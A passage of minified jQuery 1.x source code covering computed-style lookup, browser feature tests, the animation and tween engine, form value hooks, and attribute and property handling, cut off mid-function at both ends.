width,minWidth,maxWidth,ret,style=elem.style;computed=computed||getStyles(elem);ret=computed?computed.getPropertyValue(name)||computed[name]:undefined;if(computed){if(ret===""&&!jQuery.contains(elem.ownerDocument,elem)){ret=jQuery.style(elem,name)}if(rnumnonpx.test(ret)&&rmargin.test(name)){width=style.width;minWidth=style.minWidth;maxWidth=style.maxWidth;style.minWidth=style.maxWidth=style.width=ret;ret=computed.width;style.width=width;style.minWidth=minWidth;style.maxWidth=maxWidth}}return ret===undefined?ret:ret+""}}else if(document.documentElement.currentStyle){getStyles=function(elem){return elem.currentStyle};curCSS=function(elem,name,computed){var left,rs,rsLeft,ret,style=elem.style;computed=computed||getStyles(elem);ret=computed?computed[name]:undefined;if(ret==null&&style&&style[name]){ret=style[name]}if(rnumnonpx.test(ret)&&!rposition.test(name)){left=style.left;rs=elem.runtimeStyle;rsLeft=rs&&rs.left;if(rsLeft){rs.left=elem.currentStyle.left}style.left=name==="fontSize"?"1em":ret;ret=style.pixelLeft+"px";style.left=left;if(rsLeft){rs.left=rsLeft}}return ret===undefined?ret:ret+""||"auto"}}function addGetHookIf(conditionFn,hookFn){return{get:function(){var condition=conditionFn();if(condition==null){return}if(condition){delete this.get;return}return(this.get=hookFn).apply(this,arguments)}}}(function(){var div,style,a,pixelPositionVal,boxSizingReliableVal,reliableHiddenOffsetsVal,reliableMarginRightVal;div=document.createElement("div");div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";a=div.getElementsByTagName("a")[0];style=a&&a.style;if(!style){return}style.cssText="float:left;opacity:.5";support.opacity=style.opacity==="0.5";support.cssFloat=!!style.cssFloat;div.style.backgroundClip="content-box";div.cloneNode(true).style.backgroundClip="";support.clearCloneStyle=div.style.backgroundClip==="content-box";support.boxSizing=style.boxSizing===""||style.MozBoxSizing===""||style.WebkitBoxSizing==="";jQuery.extend(support,{reliableHiddenOffsets:function(){if(reliableHiddenOffsetsVal==null){computeStyleTests()}return reliableHiddenOffsetsVal},boxSizingReliable:function(){if(boxSizingReliableVal==null){computeStyleTests()}return boxSizingReliableVal},pixelPosition:function(){if(pixelPositionVal==null){computeStyleTests()}return pixelPositionVal},reliableMarginRight:function(){if(reliableMarginRightVal==null){computeStyleTests()}return reliableMarginRightVal}});function computeStyleTests(){var div,body,container,contents;body=document.getElementsByTagName("body")[0];if(!body||!body.style){return}div=document.createElement("div");container=document.createElement("div");container.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px";body.appendChild(container).appendChild(div);div.style.cssText="-webkit-box-sizing:border-box;-moz-box-sizing:border-box;"+"box-sizing:border-box;display:block;margin-top:1%;top:1%;"+"border:1px;padding:1px;width:4px;position:absolute";pixelPositionVal=boxSizingReliableVal=false;reliableMarginRightVal=true;if(window.getComputedStyle){pixelPositionVal=(window.getComputedStyle(div,null)||{}).top!=="1%";boxSizingReliableVal=(window.getComputedStyle(div,null)||{width:"4px"}).width==="4px";contents=div.appendChild(document.createElement("div"));contents.style.cssText=div.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;"+"box-sizing:content-box;display:block;margin:0;border:0;padding:0";contents.style.marginRight=contents.style.width="0";div.style.width="1px";reliableMarginRightVal=!parseFloat((window.getComputedStyle(contents,null)||{}).marginRight);div.removeChild(contents)}div.innerHTML="<table><tr><td></td><td>t</td></tr></table>";contents=div.getElementsByTagName("td");contents[0].style.cssText="margin:0;border:0;padding:0;display:none";reliableHiddenOffsetsVal=contents[0].offsetHeight===0;if(reliableHiddenOffsetsVal){contents[0].style.display="";contents[1].style.display="none";reliableHiddenOffsetsVal=contents[0].offsetHeight===0}body.removeChild(container)}})();jQuery.swap=function(elem,options,callback,args){var ret,name,old={};for(name in options){old[name]=elem.style[name];elem.style[name]=options[name]}ret=callback.apply(elem,args||[]);for(name in options){elem.style[name]=old[name]}return ret};var ralpha=/alpha\([^)]*\)/i,ropacity=/opacity\s*=\s*([^)]*)/,rdisplayswap=/^(none|table(?!-c[ea]).+)/,rnumsplit=new RegExp("^("+pnum+")(.*)$","i"),rrelNum=new RegExp("^([+-])=("+pnum+")","i"),cssShow={position:"absolute",visibility:"hidden",display:"block"},cssNormalTransform={letterSpacing:"0",fontWeight:"400"},cssPrefixes=["Webkit","O","Moz","ms"];function vendorPropName(style,name){if(name in style){return name}var capName=name.charAt(0).toUpperCase()+name.slice(1),origName=name,i=cssPrefixes.length;while(i--){name=cssPrefixes[i]+capName;if(name in style){return name}}return origName}function showHide(elements,show){var display,elem,hidden,values=[],index=0,length=elements.length;for(;index<length;index++){elem=elements[index];if(!elem.style){continue}values[index]=jQuery._data(elem,"olddisplay");display=elem.style.display;if(show){if(!values[index]&&display==="none"){elem.style.display=""}if(elem.style.display===""&&isHidden(elem)){values[index]=jQuery._data(elem,"olddisplay",defaultDisplay(elem.nodeName))}}else{hidden=isHidden(elem);if(display&&display!=="none"||!hidden){jQuery._data(elem,"olddisplay",hidden?display:jQuery.css(elem,"display"))}}}for(index=0;index<length;index++){elem=elements[index];if(!elem.style){continue}if(!show||elem.style.display==="none"||elem.style.display===""){elem.style.display=show?values[index]||"":"none"}}return elements}function setPositiveNumber(elem,value,subtract){var matches=rnumsplit.exec(value);return matches?Math.max(0,matches[1]-(subtract||0))+(matches[2]||"px"):value}function augmentWidthOrHeight(elem,name,extra,isBorderBox,styles){var i=extra===(isBorderBox?"border":"content")?4:name==="width"?1:0,val=0;for(;i<4;i+=2){if(extra==="margin"){val+=jQuery.css(elem,extra+cssExpand[i],true,styles)}if(isBorderBox){if(extra==="content"){val-=jQuery.css(elem,"padding"+cssExpand[i],true,styles)}if(extra!=="margin"){val-=jQuery.css(elem,"border"+cssExpand[i]+"Width",true,styles)}}else{val+=jQuery.css(elem,"padding"+cssExpand[i],true,styles);if(extra!=="padding"){val+=jQuery.css(elem,"border"+cssExpand[i]+"Width",true,styles)}}}return val}function getWidthOrHeight(elem,name,extra){var valueIsBorderBox=true,val=name==="width"?elem.offsetWidth:elem.offsetHeight,styles=getStyles(elem),isBorderBox=support.boxSizing&&jQuery.css(elem,"boxSizing",false,styles)==="border-box";if(val<=0||val==null){val=curCSS(elem,name,styles);if(val<0||val==null){val=elem.style[name]}if(rnumnonpx.test(val)){return val}valueIsBorderBox=isBorderBox&&(support.boxSizingReliable()||val===elem.style[name]);val=parseFloat(val)||0}return(val+augmentWidthOrHeight(elem,name,extra||(isBorderBox?"border":"content"),valueIsBorderBox,styles))+"px"}jQuery.extend({cssHooks:{opacity:{get:function(elem,computed){if(computed){var ret=curCSS(elem,"opacity");return ret===""?"1":ret}}}},cssNumber:{"columnCount":true,"fillOpacity":true,"flexGrow":true,"flexShrink":true,"fontWeight":true,"lineHeight":true,"opacity":true,"order":true,"orphans":true,"widows":true,"zIndex":true,"zoom":true},cssProps:{"float":support.cssFloat?"cssFloat":"styleFloat"},style:function(elem,name,value,extra){if(!elem||elem.nodeType===3||elem.nodeType===8||!elem.style){return}var ret,type,hooks,origName=jQuery.camelCase(name),style=elem.style;name=jQuery.cssProps[origName]||(jQuery.cssProps[origName]=vendorPropName(style,origName));hooks=jQuery.cssHooks[name]||jQuery.cssHooks[origName];if(value!==undefined){type=typeof value;if(type==="string"&&(ret=rrelNum.exec(value))){value=(ret[1]+1)*ret[2]+parseFloat(jQuery.css(elem,name));type="number"}if(value==null||value!==value){return}if(type==="number"&&!jQuery.cssNumber[origName]){value+="px"}if(!support.clearCloneStyle&&value===""&&name.indexOf("background")===0){style[name]="inherit"}if(!hooks||!("set"in hooks)||(value=hooks.set(elem,value,extra))!==undefined){try{style[name]=value}catch(e){}}}else{if(hooks&&"get"in hooks&&(ret=hooks.get(elem,false,extra))!==undefined){return ret}return style[name]}},css:function(elem,name,extra,styles){var num,val,hooks,origName=jQuery.camelCase(name);name=jQuery.cssProps[origName]||(jQuery.cssProps[origName]=vendorPropName(elem.style,origName));hooks=jQuery.cssHooks[name]||jQuery.cssHooks[origName];if(hooks&&"get"in hooks){val=hooks.get(elem,true,extra)}if(val===undefined){val=curCSS(elem,name,styles)}if(val==="normal"&&name in cssNormalTransform){val=cssNormalTransform[name]}if(extra===""||extra){num=parseFloat(val);return extra===true||jQuery.isNumeric(num)?num||0:val}return val}});jQuery.each(["height","width"],function(i,name){jQuery.cssHooks[name]={get:function(elem,computed,extra){if(computed){return rdisplayswap.test(jQuery.css(elem,"display"))&&elem.offsetWidth===0?jQuery.swap(elem,cssShow,function(){return getWidthOrHeight(elem,name,extra)}):getWidthOrHeight(elem,name,extra)}},set:function(elem,value,extra){var styles=extra&&getStyles(elem);return setPositiveNumber(elem,value,extra?augmentWidthOrHeight(elem,name,extra,support.boxSizing&&jQuery.css(elem,"boxSizing",false,styles)==="border-box",styles):0)}}});if(!support.opacity){jQuery.cssHooks.opacity={get:function(elem,computed){return ropacity.test((computed&&elem.currentStyle?elem.currentStyle.filter:elem.style.filter)||"")?(0.01*parseFloat(RegExp.$1))+"":computed?"1":""},set:function(elem,value){var style=elem.style,currentStyle=elem.currentStyle,opacity=jQuery.isNumeric(value)?"alpha(opacity="+value*100+")":"",filter=currentStyle&¤tStyle.filter||style.filter||"";style.zoom=1;if((value>=1||value==="")&&jQuery.trim(filter.replace(ralpha,""))===""&&style.removeAttribute){style.removeAttribute("filter");if(value===""||currentStyle&&!currentStyle.filter){return}}style.filter=ralpha.test(filter)?filter.replace(ralpha,opacity):filter+" "+opacity}}}jQuery.cssHooks.marginRight=addGetHookIf(support.reliableMarginRight,function(elem,computed){if(computed){return jQuery.swap(elem,{"display":"inline-block"},curCSS,[elem,"marginRight"])}});jQuery.each({margin:"",padding:"",border:"Width"},function(prefix,suffix){jQuery.cssHooks[prefix+suffix]={expand:function(value){var i=0,expanded={},parts=typeof value==="string"?value.split(" "):[value];for(;i<4;i++){expanded[prefix+cssExpand[i]+suffix]=parts[i]||parts[i-2]||parts[0]}return expanded}};if(!rmargin.test(prefix)){jQuery.cssHooks[prefix+suffix].set=setPositiveNumber}});jQuery.fn.extend({css:function(name,value){return access(this,function(elem,name,value){var styles,len,map={},i=0;if(jQuery.isArray(name)){styles=getStyles(elem);len=name.length;for(;i<len;i++){map[name[i]]=jQuery.css(elem,name[i],false,styles)}return map}return value!==undefined?jQuery.style(elem,name,value):jQuery.css(elem,name)},name,value,arguments.length>1)},show:function(){return showHide(this,true)},hide:function(){return showHide(this)},toggle:function(state){if(typeof state==="boolean"){return state?this.show():this.hide()}return this.each(function(){if(isHidden(this)){jQuery(this).show()}else{jQuery(this).hide()}})}});function Tween(elem,options,prop,end,easing){return new Tween.prototype.init(elem,options,prop,end,easing)}jQuery.Tween=Tween;Tween.prototype={constructor:Tween,init:function(elem,options,prop,end,easing,unit){this.elem=elem;this.prop=prop;this.easing=easing||"swing";this.options=options;this.start=this.now=this.cur();this.end=end;this.unit=unit||(jQuery.cssNumber[prop]?"":"px")},cur:function(){var hooks=Tween.propHooks[this.prop];return hooks&&hooks.get?hooks.get(this):Tween.propHooks._default.get(this)},run:function(percent){var eased,hooks=Tween.propHooks[this.prop];if(this.options.duration){this.pos=eased=jQuery.easing[this.easing](percent,this.options.duration*percent,0,1,this.options.duration)}else{this.pos=eased=percent}this.now=(this.end-this.start)*eased+this.start;if(this.options.step){this.options.step.call(this.elem,this.now,this)}if(hooks&&hooks.set){hooks.set(this)}else{Tween.propHooks._default.set(this)}return this}};Tween.prototype.init.prototype=Tween.prototype;Tween.propHooks={_default:{get:function(tween){var result;if(tween.elem[tween.prop]!=null&&(!tween.elem.style||tween.elem.style[tween.prop]==null)){return tween.elem[tween.prop]}result=jQuery.css(tween.elem,tween.prop,"");return!result||result==="auto"?0:result},set:function(tween){if(jQuery.fx.step[tween.prop]){jQuery.fx.step[tween.prop](tween)}else if(tween.elem.style&&(tween.elem.style[jQuery.cssProps[tween.prop]]!=null||jQuery.cssHooks[tween.prop])){jQuery.style(tween.elem,tween.prop,tween.now+tween.unit)}else{tween.elem[tween.prop]=tween.now}}}};Tween.propHooks.scrollTop=Tween.propHooks.scrollLeft={set:function(tween){if(tween.elem.nodeType&&tween.elem.parentNode){tween.elem[tween.prop]=tween.now}}};jQuery.easing={linear:function(p){return p},swing:function(p){return 0.5-Math.cos(p*Math.PI)/2}};jQuery.fx=Tween.prototype.init;jQuery.fx.step={};var fxNow,timerId,rfxtypes=/^(?:toggle|show|hide)$/,rfxnum=new RegExp("^(?:([+-])=|)("+pnum+")([a-z%]*)$","i"),rrun=/queueHooks$/,animationPrefilters=[defaultPrefilter],tweeners={"*":[function(prop,value){var tween=this.createTween(prop,value),target=tween.cur(),parts=rfxnum.exec(value),unit=parts&&parts[3]||(jQuery.cssNumber[prop]?"":"px"),start=(jQuery.cssNumber[prop]||unit!=="px"&&+target)&&rfxnum.exec(jQuery.css(tween.elem,prop)),scale=1,maxIterations=20;if(start&&start[3]!==unit){unit=unit||start[3];parts=parts||[];start=+target||1;do{scale=scale||".5";start=start/scale;jQuery.style(tween.elem,prop,start+unit)}while(scale!==(scale=tween.cur()/target)&&scale!==1&&--maxIterations)}if(parts){start=tween.start=+start||+target||0;tween.unit=unit;tween.end=parts[1]?start+(parts[1]+1)*parts[2]:+parts[2]}return tween}]};function createFxNow(){setTimeout(function(){fxNow=undefined});return(fxNow=jQuery.now())}function genFx(type,includeWidth){var which,attrs={height:type},i=0;includeWidth=includeWidth?1:0;for(;i<4;i+=2-includeWidth){which=cssExpand[i];attrs["margin"+which]=attrs["padding"+which]=type}if(includeWidth){attrs.opacity=attrs.width=type}return attrs}function createTween(value,prop,animation){var tween,collection=(tweeners[prop]||[]).concat(tweeners["*"]),index=0,length=collection.length;for(;index<length;index++){if((tween=collection[index].call(animation,prop,value))){return tween}}}function defaultPrefilter(elem,props,opts){var prop,value,toggle,tween,hooks,oldfire,display,checkDisplay,anim=this,orig={},style=elem.style,hidden=elem.nodeType&&isHidden(elem),dataShow=jQuery._data(elem,"fxshow");if(!opts.queue){hooks=jQuery._queueHooks(elem,"fx");if(hooks.unqueued==null){hooks.unqueued=0;oldfire=hooks.empty.fire;hooks.empty.fire=function(){if(!hooks.unqueued){oldfire()}}}hooks.unqueued++;anim.always(function(){anim.always(function(){hooks.unqueued--;if(!jQuery.queue(elem,"fx").length){hooks.empty.fire()}})})}if(elem.nodeType===1&&("height"in props||"width"in props)){opts.overflow=[style.overflow,style.overflowX,style.overflowY];display=jQuery.css(elem,"display");checkDisplay=display==="none"?jQuery._data(elem,"olddisplay")||defaultDisplay(elem.nodeName):display;if(checkDisplay==="inline"&&jQuery.css(elem,"float")==="none"){if(!support.inlineBlockNeedsLayout||defaultDisplay(elem.nodeName)==="inline"){style.display="inline-block"}else{style.zoom=1}}}if(opts.overflow){style.overflow="hidden";if(!support.shrinkWrapBlocks()){anim.always(function(){style.overflow=opts.overflow[0];style.overflowX=opts.overflow[1];style.overflowY=opts.overflow[2]})}}for(prop in props){value=props[prop];if(rfxtypes.exec(value)){delete props[prop];toggle=toggle||value==="toggle";if(value===(hidden?"hide":"show")){if(value==="show"&&dataShow&&dataShow[prop]!==undefined){hidden=true}else{continue}}orig[prop]=dataShow&&dataShow[prop]||jQuery.style(elem,prop)}else{display=undefined}}if(!jQuery.isEmptyObject(orig)){if(dataShow){if("hidden"in dataShow){hidden=dataShow.hidden}}else{dataShow=jQuery._data(elem,"fxshow",{})}if(toggle){dataShow.hidden=!hidden}if(hidden){jQuery(elem).show()}else{anim.done(function(){jQuery(elem).hide()})}anim.done(function(){var prop;jQuery._removeData(elem,"fxshow");for(prop in orig){jQuery.style(elem,prop,orig[prop])}});for(prop in orig){tween=createTween(hidden?dataShow[prop]:0,prop,anim);if(!(prop in dataShow)){dataShow[prop]=tween.start;if(hidden){tween.end=tween.start;tween.start=prop==="width"||prop==="height"?1:0}}}}else if((display==="none"?defaultDisplay(elem.nodeName):display)==="inline"){style.display=display}}function propFilter(props,specialEasing){var index,name,easing,value,hooks;for(index in props){name=jQuery.camelCase(index);easing=specialEasing[name];value=props[index];if(jQuery.isArray(value)){easing=value[1];value=props[index]=value[0]}if(index!==name){props[name]=value;delete props[index]}hooks=jQuery.cssHooks[name];if(hooks&&"expand"in hooks){value=hooks.expand(value);delete props[name];for(index in value){if(!(index in props)){props[index]=value[index];specialEasing[index]=easing}}}else{specialEasing[name]=easing}}}function Animation(elem,properties,options){var result,stopped,index=0,length=animationPrefilters.length,deferred=jQuery.Deferred().always(function(){delete tick.elem}),tick=function(){if(stopped){return false}var currentTime=fxNow||createFxNow(),remaining=Math.max(0,animation.startTime+animation.duration-currentTime),temp=remaining/animation.duration||0,percent=1-temp,index=0,length=animation.tweens.length;for(;index<length;index++){animation.tweens[index].run(percent)}deferred.notifyWith(elem,[animation,percent,remaining]);if(percent<1&&length){return remaining}else{deferred.resolveWith(elem,[animation]);return false}},animation=deferred.promise({elem:elem,props:jQuery.extend({},properties),opts:jQuery.extend(true,{specialEasing:{}},options),originalProperties:properties,originalOptions:options,startTime:fxNow||createFxNow(),duration:options.duration,tweens:[],createTween:function(prop,end){var tween=jQuery.Tween(elem,animation.opts,prop,end,animation.opts.specialEasing[prop]||animation.opts.easing);animation.tweens.push(tween);return tween},stop:function(gotoEnd){var index=0,length=gotoEnd?animation.tweens.length:0;if(stopped){return this}stopped=true;for(;index<length;index++){animation.tweens[index].run(1)}if(gotoEnd){deferred.resolveWith(elem,[animation,gotoEnd])}else{deferred.rejectWith(elem,[animation,gotoEnd])}return this}}),props=animation.props;propFilter(props,animation.opts.specialEasing);for(;index<length;index++){result=animationPrefilters[index].call(animation,elem,props,animation.opts);if(result){return result}}jQuery.map(props,createTween,animation);if(jQuery.isFunction(animation.opts.start)){animation.opts.start.call(elem,animation)}jQuery.fx.timer(jQuery.extend(tick,{elem:elem,anim:animation,queue:animation.opts.queue}));return animation.progress(animation.opts.progress).done(animation.opts.done,animation.opts.complete).fail(animation.opts.fail).always(animation.opts.always)}jQuery.Animation=jQuery.extend(Animation,{tweener:function(props,callback){if(jQuery.isFunction(props)){callback=props;props=["*"]}else{props=props.split(" ")}var prop,index=0,length=props.length;for(;index<length;index++){prop=props[index];tweeners[prop]=tweeners[prop]||[];tweeners[prop].unshift(callback)}},prefilter:function(callback,prepend){if(prepend){animationPrefilters.unshift(callback)}else{animationPrefilters.push(callback)}}});jQuery.speed=function(speed,easing,fn){var opt=speed&&typeof speed==="object"?jQuery.extend({},speed):{complete:fn||!fn&&easing||jQuery.isFunction(speed)&&speed,duration:speed,easing:fn&&easing||easing&&!jQuery.isFunction(easing)&&easing};opt.duration=jQuery.fx.off?0:typeof opt.duration==="number"?opt.duration:opt.duration in jQuery.fx.speeds?jQuery.fx.speeds[opt.duration]:jQuery.fx.speeds._default;if(opt.queue==null||opt.queue===true){opt.queue="fx"}opt.old=opt.complete;opt.complete=function(){if(jQuery.isFunction(opt.old)){opt.old.call(this)}if(opt.queue){jQuery.dequeue(this,opt.queue)}};return opt};jQuery.fn.extend({fadeTo:function(speed,to,easing,callback){return this.filter(isHidden).css("opacity",0).show().end().animate({opacity:to},speed,easing,callback)},animate:function(prop,speed,easing,callback){var empty=jQuery.isEmptyObject(prop),optall=jQuery.speed(speed,easing,callback),doAnimation=function(){var anim=Animation(this,jQuery.extend({},prop),optall);if(empty||jQuery._data(this,"finish")){anim.stop(true)}};doAnimation.finish=doAnimation;return empty||optall.queue===false?this.each(doAnimation):this.queue(optall.queue,doAnimation)},stop:function(type,clearQueue,gotoEnd){var stopQueue=function(hooks){var stop=hooks.stop;delete hooks.stop;stop(gotoEnd)};if(typeof type!=="string"){gotoEnd=clearQueue;clearQueue=type;type=undefined}if(clearQueue&&type!==false){this.queue(type||"fx",[])}return this.each(function(){var dequeue=true,index=type!=null&&type+"queueHooks",timers=jQuery.timers,data=jQuery._data(this);if(index){if(data[index]&&data[index].stop){stopQueue(data[index])}}else{for(index in data){if(data[index]&&data[index].stop&&rrun.test(index)){stopQueue(data[index])}}}for(index=timers.length;index--;){if(timers[index].elem===this&&(type==null||timers[index].queue===type)){timers[index].anim.stop(gotoEnd);dequeue=false;timers.splice(index,1)}}if(dequeue||!gotoEnd){jQuery.dequeue(this,type)}})},finish:function(type){if(type!==false){type=type||"fx"}return this.each(function(){var index,data=jQuery._data(this),queue=data[type+"queue"],hooks=data[type+"queueHooks"],timers=jQuery.timers,length=queue?queue.length:0;data.finish=true;jQuery.queue(this,type,[]);if(hooks&&hooks.stop){hooks.stop.call(this,true)}for(index=timers.length;index--;){if(timers[index].elem===this&&timers[index].queue===type){timers[index].anim.stop(true);timers.splice(index,1)}}for(index=0;index<length;index++){if(queue[index]&&queue[index].finish){queue[index].finish.call(this)}}delete data.finish})}});jQuery.each(["toggle","show","hide"],function(i,name){var cssFn=jQuery.fn[name];jQuery.fn[name]=function(speed,easing,callback){return speed==null||typeof speed==="boolean"?cssFn.apply(this,arguments):this.animate(genFx(name,true),speed,easing,callback)}});jQuery.each({slideDown:genFx("show"),slideUp:genFx("hide"),slideToggle:genFx("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(name,props){jQuery.fn[name]=function(speed,easing,callback){return this.animate(props,speed,easing,callback)}});jQuery.timers=[];jQuery.fx.tick=function(){var timer,timers=jQuery.timers,i=0;fxNow=jQuery.now();for(;i<timers.length;i++){timer=timers[i];if(!timer()&&timers[i]===timer){timers.splice(i--,1)}}if(!timers.length){jQuery.fx.stop()}fxNow=undefined};jQuery.fx.timer=function(timer){jQuery.timers.push(timer);if(timer()){jQuery.fx.start()}else{jQuery.timers.pop()}};jQuery.fx.interval=13;jQuery.fx.start=function(){if(!timerId){timerId=setInterval(jQuery.fx.tick,jQuery.fx.interval)}};jQuery.fx.stop=function(){clearInterval(timerId);timerId=null};jQuery.fx.speeds={slow:600,fast:200,_default:400};jQuery.fn.delay=function(time,type){time=jQuery.fx?jQuery.fx.speeds[time]||time:time;type=type||"fx";return this.queue(type,function(next,hooks){var timeout=setTimeout(next,time);hooks.stop=function(){clearTimeout(timeout)}})};(function(){var input,div,select,a,opt;div=document.createElement("div");div.setAttribute("className","t");div.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>";a=div.getElementsByTagName("a")[0];select=document.createElement("select");opt=select.appendChild(document.createElement("option"));input=div.getElementsByTagName("input")[0];a.style.cssText="top:1px";support.getSetAttribute=div.className!=="t";support.style=/top/.test(a.getAttribute("style"));support.hrefNormalized=a.getAttribute("href")==="/a";support.checkOn=!!input.value;support.optSelected=opt.selected;support.enctype=!!document.createElement("form").enctype;select.disabled=true;support.optDisabled=!opt.disabled;input=document.createElement("input");input.setAttribute("value","");support.input=input.getAttribute("value")==="";input.value="t";input.setAttribute("type","radio");support.radioValue=input.value==="t"})();var rreturn=/\r/g;jQuery.fn.extend({val:function(value){var hooks,ret,isFunction,elem=this[0];if(!arguments.length){if(elem){hooks=jQuery.valHooks[elem.type]||jQuery.valHooks[elem.nodeName.toLowerCase()];if(hooks&&"get"in hooks&&(ret=hooks.get(elem,"value"))!==undefined){return ret}ret=elem.value;return typeof ret==="string"?ret.replace(rreturn,""):ret==null?"":ret}return}isFunction=jQuery.isFunction(value);return this.each(function(i){var val;if(this.nodeType!==1){return}if(isFunction){val=value.call(this,i,jQuery(this).val())}else{val=value}if(val==null){val=""}else if(typeof val==="number"){val+=""}else if(jQuery.isArray(val)){val=jQuery.map(val,function(value){return value==null?"":value+""})}hooks=jQuery.valHooks[this.type]||jQuery.valHooks[this.nodeName.toLowerCase()];if(!hooks||!("set"in hooks)||hooks.set(this,val,"value")===undefined){this.value=val}})}});jQuery.extend({valHooks:{option:{get:function(elem){var val=jQuery.find.attr(elem,"value");return val!=null?val:jQuery.trim(jQuery.text(elem))}},select:{get:function(elem){var value,option,options=elem.options,index=elem.selectedIndex,one=elem.type==="select-one"||index<0,values=one?null:[],max=one?index+1:options.length,i=index<0?max:one?index:0;for(;i<max;i++){option=options[i];if((option.selected||i===index)&&(support.optDisabled?!option.disabled:option.getAttribute("disabled")===null)&&(!option.parentNode.disabled||!jQuery.nodeName(option.parentNode,"optgroup"))){value=jQuery(option).val();if(one){return value}values.push(value)}}return values},set:function(elem,value){var optionSet,option,options=elem.options,values=jQuery.makeArray(value),i=options.length;while(i--){option=options[i];if(jQuery.inArray(jQuery.valHooks.option.get(option),values)>=0){try{option.selected=optionSet=true}catch(_){option.scrollHeight}}else{option.selected=false}}if(!optionSet){elem.selectedIndex=-1}return options}}}});jQuery.each(["radio","checkbox"],function(){jQuery.valHooks[this]={set:function(elem,value){if(jQuery.isArray(value)){return(elem.checked=jQuery.inArray(jQuery(elem).val(),value)>=0)}}};if(!support.checkOn){jQuery.valHooks[this].get=function(elem){return elem.getAttribute("value")===null?"on":elem.value}}});var nodeHook,boolHook,attrHandle=jQuery.expr.attrHandle,ruseDefault=/^(?:checked|selected)$/i,getSetAttribute=support.getSetAttribute,getSetInput=support.input;jQuery.fn.extend({attr:function(name,value){return access(this,jQuery.attr,name,value,arguments.length>1)},removeAttr:function(name){return this.each(function(){jQuery.removeAttr(this,name)})}});jQuery.extend({attr:function(elem,name,value){var hooks,ret,nType=elem.nodeType;if(!elem||nType===3||nType===8||nType===2){return}if(typeof elem.getAttribute===strundefined){return jQuery.prop(elem,name,value)}if(nType!==1||!jQuery.isXMLDoc(elem)){name=name.toLowerCase();hooks=jQuery.attrHooks[name]||(jQuery.expr.match.bool.test(name)?boolHook:nodeHook)}if(value!==undefined){if(value===null){jQuery.removeAttr(elem,name)}else if(hooks&&"set"in hooks&&(ret=hooks.set(elem,value,name))!==undefined){return ret}else{elem.setAttribute(name,value+"");return value}}else if(hooks&&"get"in hooks&&(ret=hooks.get(elem,name))!==null){return ret}else{ret=jQuery.find.attr(elem,name);return ret==null?undefined:ret}},removeAttr:function(elem,value){var name,propName,i=0,attrNames=value&&value.match(rnotwhite);if(attrNames&&elem.nodeType===1){while((name=attrNames[i++])){propName=jQuery.propFix[name]||name;if(jQuery.expr.match.bool.test(name)){if(getSetInput&&getSetAttribute||!ruseDefault.test(name)){elem[propName]=false}else{elem[jQuery.camelCase("default-"+name)]=elem[propName]=false}}else{jQuery.attr(elem,name,"")}elem.removeAttribute(getSetAttribute?name:propName)}}},attrHooks:{type:{set:function(elem,value){if(!support.radioValue&&value==="radio"&&jQuery.nodeName(elem,"input")){var val=elem.value;elem.setAttribute("type",value);if(val){elem.value=val}return value}}}}});boolHook={set:function(elem,value,name){if(value===false){jQuery.removeAttr(elem,name)}else if(getSetInput&&getSetAttribute||!ruseDefault.test(name)){elem.setAttribute(!getSetAttribute&&jQuery.propFix[name]||name,name)}else{elem[jQuery.camelCase("default-"+name)]=elem[name]=true}return name}};jQuery.each(jQuery.expr.match.bool.source.match(/\w+/g),function(i,name){var getter=attrHandle[name]||jQuery.find.attr;attrHandle[name]=getSetInput&&getSetAttribute||!ruseDefault.test(name)?function(elem,name,isXML){var ret,handle;if(!isXML){handle=attrHandle[name];attrHandle[name]=ret;ret=getter(elem,name,isXML)!=null?name.toLowerCase():null;attrHandle[name]=handle}return ret}:function(elem,name,isXML){if(!isXML){return elem[jQuery.camelCase("default-"+name)]?name.toLowerCase():null}}});if(!getSetInput||!getSetAttribute){jQuery.attrHooks.value={set:function(elem,value,name){if(jQuery.nodeName(elem,"input")){elem.defaultValue=value}else{return nodeHook&&nodeHook.set(elem,value,name)}}}}if(!getSetAttribute){nodeHook={set:function(elem,value,name){var ret=elem.getAttributeNode(name);if(!ret){elem.setAttributeNode((ret=elem.ownerDocument.createAttribute(name)))}ret.value=value+="";if(name==="value"||value===elem.getAttribute(name)){return value}}};attrHandle.id=attrHandle.name=attrHandle.coords=function(elem,name,isXML){var ret;if(!isXML){return(ret=elem.getAttributeNode(name))&&ret.value!==""?ret.value:null}};jQuery.valHooks.button={get:function(elem,name){var ret=elem.getAttributeNode(name);if(ret&&ret.specified){return ret.value}},set:nodeHook.set};jQuery.attrHooks.contenteditable={set:function(elem,value,name){nodeHook.set(elem,value===""?false:value,name)}};jQuery.each(["width","height"],function(i,name){jQuery.attrHooks[name]={set:function(elem,value){if(value===""){elem.setAttribute(name,"auto");return value}}}})}if(!support.style){jQuery.attrHooks.style={get:function(elem){return elem.style.cssText||undefined},set:function(elem,value){return(elem.style.cssText=value+"")}}}var rfocusable=/^(?:input|select|textarea|button|object)$/i,rclickable=/^(?:a|area)$/i;jQuery.fn.extend({prop:function(name,value){return access(this,jQuery.prop,name,value,arguments.length>1)},removeProp:function(name){name=jQuery.propFix[name]||name;return this.each(function(){try{this[name]=undefined;delete this[name]}catch(e){}})}});jQuery.extend({propFix:{"for":"htmlFor","class":"className"},prop:function(elem,name,value){var ret,hooks,notxml,nType=elem.nodeType;if(!elem||nType===3||nType===8||nType===2){return}notxml=nType!==1||!jQuery.isXMLDoc(elem);if(notxml){name=jQuery.propFix[name]||name;hooks=jQuery.propHooks[name]}if(value!==undefined){return hooks&&"set"in hooks&&(ret=hooks.set(elem,value,name))!==undefined?ret:(elem[name]=value)}else{return hooks&&"get"in hooks&&(ret=hooks.get(elem,name))!==null?ret:elem[name]}},propHooks:{tabIndex:{get:function(elem){var tabindex=jQuery.find.attr(elem,"tabindex");return tabindex?parseInt(tabindex,10):rfocusable.test(elem.nodeName)||rclickable.test(elem.nodeName)&&elem.href?0:-1}}}});if(!support.hrefNormalized){jQuery.each(["href","src"],function(i,name){jQuery.propHooks[name]={get:function(elem){return elem.getAttribute(name,4)}}})}if(!support.optSelected){jQuery.propHooks.selected={get:function(elem){var parent=elem.parentNode;if(parent){parent.selectedIndex;if(parent.parentNode){parent.parentNode.selectedIndex}}return 